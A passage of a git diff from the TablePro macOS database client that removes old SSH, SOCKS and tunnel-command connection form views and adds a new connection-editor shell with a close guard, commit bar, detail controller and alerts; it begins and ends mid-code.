"Port"), - text: $coordinator.socksProxy.state.port, - prompt: Text(verbatim: "1080") - ) - } - } - - private var credentialsSection: some View { - Section { - TextField(String(localized: "Username"), text: $coordinator.socksProxy.state.username) - .autocorrectionDisabled() - SecureField(String(localized: "Password"), text: $coordinator.socksProxy.state.password) - } header: { - Text("Credentials") - } footer: { - Text("Leave blank to connect without authentication. The password is stored in the macOS Keychain.") - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHServerSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHServerSections.swift deleted file mode 100644 index 14147b79f0..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHServerSections.swift +++ /dev/null @@ -1,134 +0,0 @@ -import SwiftUI -import TableProSSHConfig -import TableProSSHTransport - -// Sections, not a Form: the Network tab is the form, and the Remote File pane embeds these in it too. -struct SSHServerSections: View { - @Binding var sshState: SSHTunnelFormState - - var body: some View { - sshProfileSection - - if sshState.selectedProfile == nil, sshState.profileId != nil { - Section { - NoticeLabel(String(localized: "Selected SSH profile no longer exists.")) - Button(String(localized: "Switch to Inline Configuration")) { - sshState.profileId = nil - } - } - } else if sshState.selectedProfile == nil { - SSHServerFields( - draft: $sshState.server, - configEntries: sshState.configEntries, - identifierPrefix: "connection-form-ssh", - savedSecrets: sshState.savedSecrets - ) - } - } - - private var sshProfileSection: some View { - Section(String(localized: "Profile")) { - Picker(String(localized: "Profile"), selection: $sshState.profileId) { - Text("Inline Configuration").tag(UUID?.none) - ForEach(sshState.profiles) { profile in - Text(verbatim: "\(profile.name) (\(profile.address))").tag(UUID?.some(profile.id)) - } - } - - HStack(spacing: 12) { - Button("Create New Profile…") { - sshState.showingCreateProfile = true - } - - if sshState.profileId != nil { - Button("Edit Profile…") { - if let profileId = sshState.profileId { - sshState.editingProfile = SSHProfileStorage.shared.profile(for: profileId) - } - } - } - - if sshState.profileId == nil && sshState.enabled && !sshState.host.isEmpty { - Button("Save Current as Profile…") { - sshState.showingSaveAsProfile = true - } - } - } - .controlSize(.small) - - if let profile = sshState.selectedProfile { - DisclosureGroup(String(localized: "Profile Details")) { - LabeledContent(String(localized: "Host"), value: profile.host) - LabeledContent(String(localized: "Port")) { - Text(verbatim: SettingsFormat.identifier(profile.port ?? 22)) - } - LabeledContent(String(localized: "Username"), value: profile.username) - LabeledContent(String(localized: "Authentication Method"), value: profile.authMethod.displayName) - if !profile.privateKeyPath.isEmpty { - LabeledContent( - profile.authMethod == .sshAgent - ? String(localized: "Identity File") - : String(localized: "Key File"), - value: profile.privateKeyPath - ) - } - if !profile.jumpHosts.isEmpty { - LabeledContent(String(localized: "Jump Hosts")) { - Text(profile.jumpHosts.count, format: .number) - } - } - } - } - } - .sheet(isPresented: $sshState.showingCreateProfile) { - SSHProfileEditorView(existingProfile: nil, onSave: { _ in - reloadProfiles() - }) - } - .sheet(item: $sshState.editingProfile) { profile in - SSHProfileEditorView(existingProfile: profile, onSave: { _ in - reloadProfiles() - }, onDelete: { - reloadProfiles() - }) - } - .sheet(isPresented: $sshState.showingSaveAsProfile) { - SSHProfileEditorView( - existingProfile: buildProfileFromInlineConfig(), - initialPassword: sshState.password, - initialKeyPassphrase: sshState.keyPassphrase, - initialTOTPSecret: sshState.totpSecret, - onSave: { savedProfile in - sshState.profileId = savedProfile.id - reloadProfiles() - } - ) - } - } - - private func reloadProfiles() { - sshState.profiles = SSHProfileStorage.shared.loadProfiles() - if let id = sshState.profileId, - !SSHProfileStorage.shared.lastLoadFailed, - !sshState.profiles.contains(where: { $0.id == id }) { - sshState.profileId = nil - } - } - - private func buildProfileFromInlineConfig() -> SSHProfile { - SSHProfile( - name: "", - host: sshState.host, - port: Int(sshState.port), - username: sshState.username, - authMethod: sshState.authMethod, - privateKeyPath: sshState.privateKeyPath, - agentSocketPath: sshState.resolvedAgentSocketPath, - jumpHosts: sshState.jumpHosts, - totpMode: sshState.totpMode, - totpAlgorithm: sshState.totpAlgorithm, - totpDigits: sshState.totpDigits, - totpPeriod: sshState.totpPeriod - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHTransportSections.swift deleted file mode 100644 index 87069aea9e..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHTransportSections.swift +++ /dev/null @@ -1,124 +0,0 @@ -// -// SSHTransportSections.swift -// TablePro -// - -import AppKit -import SwiftUI -import TableProSSHConfig - -/// The SSH server half of a connection, as sections of the Network tab's form. -/// -/// Nothing here switches the transport on: reaching this view at all means the picker already -/// selected it, which is why the old `Toggle("Enable SSH Tunnel")` that made up an entire pane on -/// its own is gone. -struct SSHTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - SSHServerSections(sshState: $coordinator.ssh.state) - if DatabaseConnection.socketForwardApplies(to: coordinator.network.type) { - forwardTargetSection - } - } - - /// A tunnel normally forwards to Host and Port; a database that only listens on a unix socket - /// needs the path instead, and then Host and Port go unused. The field belongs beside the - /// tunnel that carries it rather than beside the host it replaces. - private var forwardTargetSection: some View { - Section { - TextField( - String(localized: "Socket Path"), - text: $coordinator.network.sshForwardUnixSocketPath, - prompt: Text(verbatim: coordinator.network.socketPathPrompt) - ) - if let caption = coordinator.network.tunnelHostListCaption { - NoticeLabel(caption, severity: .warning) - .font(.caption) - } - } header: { - Text(String(localized: "Forward To")) - } footer: { - forwardTargetFooter - } - } - - @ViewBuilder - private var forwardTargetFooter: some View { - switch coordinator.network.socketPathIssue { - case .notAbsolute: - NoticeLabel( - String(localized: "Enter an absolute path, as it appears on the SSH server."), - severity: .warning - ) - .font(.caption) - case .looksLikeDirectory: - NoticeLabel( - String(localized: "Point at the socket file itself, not the directory holding it."), - severity: .warning - ) - .font(.caption) - case .none: - if coordinator.network.forwardsToUnixSocket { - NoticeLabel( - String(localized: """ - The SSH server connects to this socket instead of Host and Port. \ - A database on a socket cannot negotiate TLS, so TablePro turns it off; \ - the SSH tunnel still encrypts the whole path. - """), - severity: .info - ) - .font(.caption) - } else { - NoticeLabel( - String(localized: "Optional. Set this to reach a database that only listens on a Unix socket."), - severity: .info - ) - .font(.caption) - } - } - } -} - -/// Points a file-backed connection at a database file on an SSH server. -/// -/// The server half is the same problem whether what comes back is a socket or a file, so it is the -/// same view. What this adds is the path. -struct RemoteFileTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Section { - TextField(String(localized: "Path"), text: $coordinator.ssh.state.remoteFilePath) - .autocorrectionDisabled() - .accessibilityIdentifier("connection-form-remote-file-path") - if coordinator.supportsRemoteDatabaseSession { - Picker(String(localized: "Open"), selection: $coordinator.ssh.state.remoteFileAccess) { - Text(String(localized: "On the Server")).tag(RemoteFileAccess.onServer) - Text(String(localized: "As a Read-Only Copy")).tag(RemoteFileAccess.readOnlyCopy) - } - .accessibilityIdentifier("connection-form-remote-file-access") - } - } header: { - Text(String(localized: "Remote File")) - } footer: { - remoteFileFooter - } - - SSHServerSections(sshState: $coordinator.ssh.state) - } - - @ViewBuilder - private var remoteFileFooter: some View { - VStack(alignment: .leading, spacing: 4) { - Text("Absolute, or relative to the SSH account's home directory. `~` works.") - if coordinator.supportsRemoteDatabaseSession, coordinator.ssh.state.remoteFileAccess == .onServer { - Text("Statements run on the SSH server, so reads and writes act on the live database. The server needs python3.") - } else { - Text("The file is copied to this Mac and opened read-only. The original on the server is never written to.") - } - } - .font(.caption) - .foregroundStyle(.secondary) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/TunnelCommandTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/TunnelCommandTransportSections.swift deleted file mode 100644 index f289ead127..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/TunnelCommandTransportSections.swift +++ /dev/null @@ -1,169 +0,0 @@ -// -// TunnelCommandTransportSections.swift -// TablePro -// - -import SwiftUI - -struct TunnelCommandTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - methodSection - methodFieldsSection - previewSection - } - - // MARK: - Sections - - private var methodSection: some View { - Section { - Picker(String(localized: "Method"), selection: $coordinator.tunnelCommand.state.config.method) { - ForEach(TunnelCommandMethod.allCases) { method in - Text(method.displayName).tag(method) - } - } - } footer: { - Text(methodFooter) - } - } - - @ViewBuilder - private var methodFieldsSection: some View { - switch coordinator.tunnelCommand.state.config.method { - case .kubectl: - kubectlSection - executableSection(prompt: "/opt/homebrew/bin/kubectl") - case .awsSSM: - awsSection - executableSection(prompt: "/usr/local/bin/aws") - case .custom: - customSection - } - } - - private var kubectlSection: some View { - Section { - TextField( - String(localized: "Resource"), - text: $coordinator.tunnelCommand.state.config.kubernetesResource, - prompt: Text(verbatim: "service/postgres") - ) - .autocorrectionDisabled() - TextField( - String(localized: "Namespace"), - text: $coordinator.tunnelCommand.state.config.kubernetesNamespace, - prompt: Text(verbatim: "production") - ) - .autocorrectionDisabled() - TextField( - String(localized: "Context"), - text: $coordinator.tunnelCommand.state.config.kubernetesContext, - prompt: Text(verbatim: "optional") - ) - .autocorrectionDisabled() - } header: { - Text("Kubernetes") - } footer: { - Text("The port comes from this connection's own port, forwarded from the resource you name here.") - } - } - - private var awsSection: some View { - Section { - TextField( - String(localized: "Target"), - text: $coordinator.tunnelCommand.state.config.awsTarget, - prompt: Text(verbatim: "i-0123456789abcdef0") - ) - .autocorrectionDisabled() - TextField( - String(localized: "Profile"), - text: $coordinator.tunnelCommand.state.config.awsProfile, - prompt: Text(verbatim: "optional") - ) - .autocorrectionDisabled() - TextField( - String(localized: "Region"), - text: $coordinator.tunnelCommand.state.config.awsRegion, - prompt: Text(verbatim: "optional") - ) - .autocorrectionDisabled() - } header: { - Text("AWS Systems Manager") - } footer: { - Text("The session forwards to this connection's host and port from the target instance, so the target is the bastion rather than the database.") - } - } - - private var customSection: some View { - Section { - TextField( - String(localized: "Command"), - text: $coordinator.tunnelCommand.state.config.command, - prompt: Text(verbatim: "ssh -N -L {port}:{host}:{remotePort} bastion"), - axis: .vertical - ) - .lineLimit(2...5) - .font(.system(.body, design: .monospaced)) - .autocorrectionDisabled() - } header: { - Text("Command") - } footer: { - Text(customCommandFooter) - } - } - - private func executableSection(prompt: String) -> some View { - Section { - TextField( - String(localized: "Executable path"), - text: $coordinator.tunnelCommand.state.config.executablePath, - prompt: Text(verbatim: prompt) - ) - .autocorrectionDisabled() - } footer: { - Text( - """ - Leave blank to find it on your PATH. Apps launched from the Dock do not inherit \ - your shell's PATH, so a tool installed somewhere unusual needs its full path here. - """ - ) - } - } - - @ViewBuilder - private var previewSection: some View { - if let preview = coordinator.tunnelCommandPreview { - Section { - CodeWell(preview, font: .system(.caption, design: .monospaced)) - } header: { - Text("Will Run") - } - } - } - - private var customCommandFooter: String { - String( - format: String(localized: """ - %1$@ is the local port, %2$@ and %3$@ are this connection's host and port. \ - The command runs directly rather than through a shell, so start it with \ - /usr/bin/env if you need environment variables. - """), - TunnelCommandLine.localPortPlaceholder, - TunnelCommandLine.hostPlaceholder, - TunnelCommandLine.remotePortPlaceholder - ) - } - - private var methodFooter: String { - switch coordinator.tunnelCommand.state.config.method { - case .kubectl: - return String(localized: "Forwards a port from a Kubernetes resource with kubectl port-forward.") - case .awsSSM: - return String(localized: "Opens an AWS Systems Manager port forwarding session through a target instance.") - case .custom: - return String(localized: "Runs a command you write. It must open the local port itself.") - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift new file mode 100644 index 0000000000..a3ba81dd08 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift @@ -0,0 +1,96 @@ +// +// ConnectionEditorCloseGuard.swift +// TablePro +// + +import AppKit + +// The close button, Cmd+W, Cancel and Escape all ask this before the window closes. +enum ConnectionEditorCloseGuard { + enum Verdict: Equatable { + case close + case askToSave(ConnectionEditorSavePrompt) + } + + enum Choice: Equatable { + case save + case dontSave + case cancel + } + + // A record deleted elsewhere cannot be saved, so there is nothing to ask. + static func verdict( + hasUnsavedChanges: Bool, + isRecordMissing: Bool, + connectionName: String, + blockingIssue: String? = nil + ) -> Verdict { + guard hasUnsavedChanges, !isRecordMissing else { return .close } + return .askToSave(ConnectionEditorSavePrompt(connectionName: connectionName, blockingIssue: blockingIssue)) + } + + // The order of `makeAlert`: Save, Cancel, Don't Save; or Cancel, Don't Save when Save is blocked. + static func choice(for response: NSApplication.ModalResponse, canSave: Bool = true) -> Choice { + switch (response, canSave) { + case (.alertFirstButtonReturn, true): return .save + case (.alertThirdButtonReturn, true), (.alertSecondButtonReturn, false): return .dontSave + default: return .cancel + } + } + + // An alert offers no button that cannot do what it says: with Save blocked it names why and offers Don't Save + // and Cancel, and Return picks neither, since the only other answer discards. + @MainActor + static func makeAlert(_ prompt: ConnectionEditorSavePrompt) -> NSAlert { + let alert = NSAlert() + alert.messageText = prompt.title + alert.informativeText = prompt.message + alert.alertStyle = .warning + if prompt.canSave { + alert.addButton(withTitle: String(localized: "Save")) + AlertHelper.addCancelButton(to: alert, title: String(localized: "Cancel")) + } else { + AlertHelper.addCancelButton(to: alert, title: String(localized: "Cancel")) + } + let dontSave = alert.addButton(withTitle: String(localized: "Don't Save")) + dontSave.hasDestructiveAction = true + dontSave.keyEquivalent = "d" + dontSave.keyEquivalentModifierMask = .command + return alert + } +} + +struct ConnectionEditorSavePrompt: Equatable { + let connectionName: String + var blockingIssue: String? + + var canSave: Bool { blockingIssue == nil } + + var title: String { + guard canSave else { + return String(format: String(localized: "The changes to “%@” can't be saved yet."), connectionName) + } + return String(format: String(localized: "Do you want to save the changes to “%@”?"), connectionName) + } + + var message: String { + let consequence = String(localized: "Your changes will be lost if you don't save them.") + guard let blockingIssue else { return consequence } + return "\(blockingIssue)\n\n\(consequence)" + } +} + +enum ConnectionEditorEscape { + private static let escapeKeyCode: UInt16 = 53 + + // Escape while a text field or a code editor is being edited; a sheet answers its own. + @MainActor + static func endsEditing(_ event: NSEvent, in window: NSWindow) -> Bool { + guard event.type == .keyDown, event.keyCode == escapeKeyCode, + event.modifierFlags.intersection(.deviceIndependentFlagsMask).subtracting(.function).isEmpty, + event.windowNumber == window.windowNumber, + window.attachedSheet == nil + else { return false } + return window.firstResponder is NSTextView + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift new file mode 100644 index 0000000000..d5e5d3b9c1 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift @@ -0,0 +1,272 @@ +// +// ConnectionEditorCommitBar.swift +// TablePro +// + +import AppKit +import SwiftUI + +// What the bar's buttons ask the window for: each ends editing first, so a half-typed value counts. +struct ConnectionEditorCommitActions { + var test: () -> Void + var save: () -> Void + var commit: () -> Void + var cancel: () -> Void + var copyURL: () -> Void + var delete: () -> Void +} + +// Full width under the sidebar and the detail, as a sidebar editor with several bottom controls has it. +struct ConnectionEditorCommitBar: View { + @ObservedObject var store: ConnectionEditorStore + let actions: ConnectionEditorCommitActions + + // One stable container carries the presentations, so a sheet stays up if the record goes missing under it. + var body: some View { + VStack(spacing: 0) { + if store.isRecordMissing { + Color.clear.frame(height: 0) + } else { + Divider() + bar + } + } + .modifier(ConnectionEditorPresentations(store: store)) + } + + // The Spacer keeps both groups on their edges when there is no status to show. + private var bar: some View { + HStack(spacing: 12) { + moreMenu + testButton + ConnectionEditorCommitStatus(store: store) + .layoutPriority(-1) + Spacer(minLength: 0) + Button(String(localized: "Cancel"), action: actions.cancel) + .keyboardShortcut(.cancelAction) + .fixedSize() + .accessibilityIdentifier("connection-form-cancel") + if store.isNew { + Button(String(localized: "Save"), action: actions.save) + .disabled(!store.canSave) + .fixedSize() + .accessibilityIdentifier("connection-form-save") + } + Button(store.isNew ? String(localized: "Save & Connect") : String(localized: "Save"), action: actions.commit) + .keyboardShortcut(.defaultAction) + .disabled(!store.canSave) + .fixedSize() + .accessibilityIdentifier(store.isNew ? "connection-form-save-connect" : "connection-form-save") + } + .padding(.horizontal, 20) + .padding(.vertical, 12) + .frame(maxWidth: .infinity) + } + + private var moreMenu: some View { + Menu { + Button(action: actions.copyURL) { + Label(String(localized: "Copy as URL"), systemImage: "link") + } + if store.canDelete { + Divider() + Button(role: .destructive, action: actions.delete) { + Label { + Text(String(localized: "Delete…")) + } icon: { + Image(nsImage: Self.destructiveSymbol) + } + } + .accessibilityIdentifier("connection-form-delete") + } + } label: { + Label(String(localized: "More"), systemImage: "ellipsis.circle") + .labelStyle(.iconOnly) + } + .menuStyle(.button) + .buttonStyle(.borderless) + .menuIndicator(.hidden) + .fixedSize() + .help(String(localized: "More")) + .accessibilityLabel(String(localized: "More")) + .accessibilityIdentifier("connection-form-more") + } + + // A menu item draws a template image in its own text colour, so the red is baked into a non-template copy. + private static var destructiveSymbol: NSImage { + let image = NSImage(systemSymbolName: "trash", accessibilityDescription: nil)? + .withSymbolConfiguration(NSImage.SymbolConfiguration(paletteColors: [.systemRed])) ?? NSImage() + image.isTemplate = false + return image + } + + private var testButton: some View { + Button(store.isTesting ? String(localized: "Cancel Test") : String(localized: "Test Connection"), action: actions.test) + .disabled(!store.isTesting && !store.canTest) + .fixedSize() + .accessibilityIdentifier("connection-form-test") + } +} + +// One line, truncating, the whole text in the tooltip. +struct ConnectionEditorCommitStatus: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if store.isLibraryUnreadable { + let message = ConnectionEditorSaveError.libraryUnreadable.errorDescription ?? "" + NoticeLabel(message, severity: .error) + .lineLimit(1) + .help(message) + } else if store.testState != .idle { + // A test result outranks a blocking issue: Test needs no name, and its result would never show otherwise. + testStatus + } else if let issue = store.firstBlockingIssue { + // Save is off either way, so the bar says why; it turns red only once the issue is revealed. + Button { + store.reveal(issue) + } label: { + if store.isRevealed(issue) { + NoticeLabel(issue.message, severity: .error) + .lineLimit(1) + } else { + Text(verbatim: issue.message) + .foregroundStyle(.secondary) + .lineLimit(1) + } + } + .buttonStyle(.plain) + .help(issue.message) + .accessibilityHint(String(localized: "Shows the setting to fix")) + .accessibilityIdentifier("connection-form-validation") + } + } + + @ViewBuilder + private var testStatus: some View { + switch store.testState { + case .idle: + EmptyView() + case .running: + HStack(spacing: 6) { + ProgressView() + .controlSize(.small) + Text(String(localized: "Testing…")) + .foregroundStyle(.secondary) + .lineLimit(1) + } + .accessibilityElement(children: .combine) + .accessibilityIdentifier("connection-form-test-status") + case .succeeded(let success): + HStack(spacing: 6) { + NoticeLabel(success.summary, severity: success.warning == nil ? .success : .warning) + .lineLimit(1) + .help([success.summary, success.warning].compactMap { $0 }.joined(separator: "\n")) + .accessibilityIdentifier("connection-form-test-status") + if let warning = success.warning { + ConnectionTestDetailsButton { + ConnectionTestDetails(title: success.summary, message: warning) + } + .accessibilityIdentifier("connection-form-test-warning") + } + } + case .failed(let failure): + HStack(spacing: 6) { + NoticeLabel(failure.summary, severity: .error) + .lineLimit(1) + .help([failure.summary, failure.message].joined(separator: "\n")) + .accessibilityIdentifier("connection-form-test-status") + ConnectionTestDetailsButton { + ConnectionTestDetails( + title: failure.summary, + message: failure.message, + recoverySuggestion: failure.suggestion, + recoveryTitle: failure.recoveryAction?.title, + recover: { store.performTestRecovery() } + ) + } + } + } + } +} + +private struct ConnectionTestDetailsButton: View { + @ViewBuilder let details: () -> Details + @State private var isShowingDetails = false + + var body: some View { + Button { + isShowingDetails = true + } label: { + Image(systemName: "info.circle") + } + .buttonStyle(.borderless) + .help(String(localized: "Details")) + .accessibilityLabel(String(localized: "Details")) + .popover(isPresented: $isShowingDetails, arrowEdge: .top) { + details() + } + } +} + +// Read only: what failed and what to check in plain words, then the server's own words, and the one fix TablePro can +// start. Opaque, so the form under the popover never shows through the server's text. +private struct ConnectionTestDetails: View { + let title: String + let message: String + var recoverySuggestion: String? + var recoveryTitle: String? + var recover: () -> Void = {} + + @Environment(\.dismiss) private var dismiss + + private var plainSummary: String? { + guard let recoverySuggestion, !recoverySuggestion.isEmpty else { return nil } + return recoverySuggestion + } + + var body: some View { + VStack(alignment: .leading, spacing: 10) { + Text(title) + .font(.headline) + .fixedSize(horizontal: false, vertical: true) + if let plainSummary { + Text(verbatim: plainSummary) + .fixedSize(horizontal: false, vertical: true) + } + if isLong { + ScrollView { + messageText + } + .frame(height: 160) + } else { + messageText + } + if let recoveryTitle { + Button(recoveryTitle) { + dismiss() + recover() + } + .padding(.top, 2) + } + } + .padding(16) + .frame(width: 360, alignment: .leading) + .background(Color(nsColor: .windowBackgroundColor)) + } + + // A popover sizes to its content, so text past about eight lines scrolls inside a fixed height instead. + private var isLong: Bool { + message.count > 480 || message.split(separator: "\n", omittingEmptySubsequences: false).count > 8 + } + + // The server's words are the detail under a plain summary, and the whole story without one. + private var messageText: some View { + Text(verbatim: message) + .foregroundStyle(plainSummary == nil ? HierarchicalShapeStyle.primary : HierarchicalShapeStyle.secondary) + .textSelection(.enabled) + .fixedSize(horizontal: false, vertical: true) + .frame(maxWidth: .infinity, alignment: .leading) + .accessibilityIdentifier("connection-form-test-message") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift new file mode 100644 index 0000000000..f6183f1fed --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift @@ -0,0 +1,117 @@ +// +// ConnectionEditorDetailViewController.swift +// TablePro +// + +import AppKit +import SwiftUI + +struct ConnectionEditorFacetPage: View { + let store: ConnectionEditorStore + let facet: ConnectionFacet + + var body: some View { + switch facet { + case .general: GeneralFacetView(store: store) + case .sshAndProxies: SSHAndProxiesFacetView(store: store) + case .sslTLS: SSLFacetView(store: store) + case .appearance: AppearanceFacetView(store: store) + case .safeMode: SafeModeFacetView(store: store) + case .aiAndMCP: AIAndMCPFacetView(store: store) + case .startup: StartupFacetView(store: store) + case .advanced: AdvancedFacetView(store: store) + } + } +} + +// One hosting controller per visited facet, kept while the window is open: rebuilding a facet on every +// sidebar click drops its scroll position and @State, as it did in Settings. Only the shown one is in the +// window: a hidden hosting view still re-renders on every store change, which made a keystroke cost one +// render per visited facet. +@MainActor +final class ConnectionEditorDetailViewController: NSViewController { + enum Content: Equatable { + case facet(ConnectionFacet) + case recordMissing + } + + private let store: ConnectionEditorStore + private let onCloseMissingRecord: () -> Void + private let makePage: @MainActor (ConnectionFacet) -> AnyView + private var facetHosts: [ConnectionFacet: NSHostingController] = [:] + private var recordMissingHost: NSHostingController? + private(set) var shownContent: Content? + + init( + store: ConnectionEditorStore, + onCloseMissingRecord: @escaping () -> Void, + makePage: (@MainActor (ConnectionFacet) -> AnyView)? = nil + ) { + self.store = store + self.onCloseMissingRecord = onCloseMissingRecord + self.makePage = makePage ?? { AnyView(ConnectionEditorFacetPage(store: store, facet: $0)) } + super.init(nibName: nil, bundle: nil) + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorDetailViewController does not support NSCoder init") + } + + override func loadView() { + view = NSView() + } + + var visitedFacets: Set { + Set(facetHosts.keys) + } + + func show(_ content: Content) { + _ = view + guard content != shownContent else { return } + let shown: NSViewController + switch content { + case .facet(let facet): + shown = facetHosts[facet] ?? makeFacetHost(facet) + case .recordMissing: + shown = recordMissingHost ?? makeRecordMissingHost() + } + for child in children where child !== shown && child.view.superview != nil { + child.view.removeFromSuperview() + } + shown.view.frame = view.bounds + shown.view.autoresizingMask = [.width, .height] + if shown.view.superview !== view { + view.addSubview(shown.view) + } + shownContent = content + } + + func host(for facet: ConnectionFacet) -> NSViewController? { + facetHosts[facet] + } + + private func makeFacetHost(_ facet: ConnectionFacet) -> NSHostingController { + let host = NSHostingController(rootView: makePage(facet)) + install(host) + facetHosts[facet] = host + return host + } + + private func makeRecordMissingHost() -> NSHostingController { + let host = NSHostingController(rootView: ConnectionEditorRecordMissingView(onClose: onCloseMissingRecord)) + install(host) + recordMissingHost = host + return host + } + + private func install(_ host: NSHostingController) { + // A split item's hosting controller fixes its fitting size as a required minimum unless this is cleared. + host.sizingOptions = [] + if #available(macOS 14.0, *) { + // The window title belongs to the shell; a facet's navigation title must not reach it. + host.sceneBridgingOptions = [] + } + addChild(host) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift new file mode 100644 index 0000000000..ac820cf4ef --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift @@ -0,0 +1,133 @@ +// +// ConnectionEditorPresentations.swift +// TablePro +// + +import SwiftUI + +// Every sheet and alert the editor raises on its window, each bound to the store state that asks for it. +struct ConnectionEditorPresentations: ViewModifier { + @ObservedObject var store: ConnectionEditorStore + + func body(content: Content) -> some View { + content + .sheet(isPresented: $store.isChoosingType) { + DatabaseTypeChooserSheet( + purpose: .changeType, + initialType: store.draft.type, + onSelected: { choose($0) }, + onCancel: { store.isChoosingType = false } + ) + } + .sheet(item: $store.sshProfileSheet) { sheet in + sshProfileEditor(sheet) + } + .sheet(item: $store.credentialProfileToSave) { profile in + CredentialProfileEditorSheet( + existingProfile: profile, + initialPassword: store.draft.credentials.password, + initialDatabaseType: store.draft.type, + onSave: { store.didSaveCredentialProfile($0) } + ) + } + .sheet(item: $store.pluginDiagnostic) { item in + PluginDiagnosticSheet(item: item) { + store.pluginDiagnostic = nil + } + } + .pluginInstallPrompt(for: $store.pluginInstallConnection, type: \.type) { _ in + store.test() + } + .alert( + retypeTitle, + isPresented: Binding( + // The buttons answer it; SwiftUI may clear the binding before it runs a button's action. + get: { store.pendingRetype != nil }, + set: { _ in } + ), + presenting: store.pendingRetype + ) { _ in + Button(String(localized: "Change Type")) { + store.confirmPendingRetype() + } + Button(String(localized: "Cancel"), role: .cancel) { + store.cancelPendingRetype() + } + } message: { proposal in + Text(proposal.dropped.formatted(.list(type: .and))) + } + .alert( + String(localized: "Save Failed"), + isPresented: Binding( + get: { Self.alertsSaveError(store.saveError) }, + set: { if !$0 { store.saveError = nil } } + ), + presenting: store.saveError + ) { _ in + Button(String(localized: "OK"), role: .cancel) { + store.saveError = nil + } + } message: { error in + Text(error.errorDescription ?? "") + } + .alert( + String(localized: "Delete Failed"), + isPresented: Binding( + get: { store.deleteError != nil }, + set: { if !$0 { store.deleteError = nil } } + ), + presenting: store.deleteError + ) { _ in + Button(String(localized: "OK"), role: .cancel) { + store.deleteError = nil + } + } message: { error in + Text(error.errorDescription ?? "") + } + } + + // An invalid field already has its place: Save focuses it and the commit bar names it. + static func alertsSaveError(_ error: ConnectionEditorSaveError?) -> Bool { + guard let error else { return false } + switch error { + case .invalid: return false + case .libraryUnreadable, .recordMissing, .keychainWriteFailed, .recordWriteFailed: return true + } + } + + private var retypeTitle: String { + guard let proposal = store.pendingRetype else { return "" } + return String(format: String(localized: "Changing to %@ removes:"), proposal.to.displayName) + } + + // The same install question Welcome asks after its chooser, then the retype, which confirms what it drops. + private func choose(_ type: DatabaseType) { + store.isChoosingType = false + Task { @MainActor in + guard await DatabaseTypeInstallCheck.ensureInstalled(type, window: store.window) else { return } + store.requestRetype(to: type) + } + } + + @ViewBuilder + private func sshProfileEditor(_ sheet: ConnectionEditorStore.SSHProfileSheet) -> some View { + switch sheet { + case .create: + SSHProfileEditorView(existingProfile: nil, onSave: { store.didSaveSSHProfile($0) }) + case .edit(let profile): + SSHProfileEditorView( + existingProfile: profile, + onSave: { store.didSaveSSHProfile($0) }, + onDelete: { store.didDeleteSSHProfile() } + ) + case .saveCurrent(let profile): + SSHProfileEditorView( + existingProfile: profile, + initialPassword: store.draft.ssh.password, + initialKeyPassphrase: store.draft.ssh.keyPassphrase, + initialTOTPSecret: store.draft.ssh.totpSecret, + onSave: { store.didSaveSSHProfile($0) } + ) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorRecordMissingView.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorRecordMissingView.swift new file mode 100644 index 0000000000..33056c4646 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorRecordMissingView.swift @@ -0,0 +1,23 @@ +// +// ConnectionEditorRecordMissingView.swift +// TablePro +// + +import SwiftUI + +// An edit of a connection the library no longer holds: nothing to show and nothing Save could write. +struct ConnectionEditorRecordMissingView: View { + let onClose: () -> Void + + var body: some View { + UnavailableStateView { + Label(String(localized: "Connection Not Found"), systemImage: "externaldrive.badge.questionmark") + } description: { + Text(String(localized: "This connection was deleted on another device or window.")) + } actions: { + Button(String(localized: "Close"), action: onClose) + .keyboardShortcut(.defaultAction) + .accessibilityIdentifier("connection-form-record-missing-close") + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift new file mode 100644 index 0000000000..e6d9e254b9 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift @@ -0,0 +1,245 @@ +// +// ConnectionEditorSidebarViewController.swift +// TablePro +// + +import AppKit + +struct ConnectionEditorSidebarRow: Equatable { + let facet: ConnectionFacet + let title: String + let symbolName: String + let issueMessages: [String] + + var hasIssues: Bool { !issueMessages.isEmpty } + + var toolTip: String? { + hasIssues ? 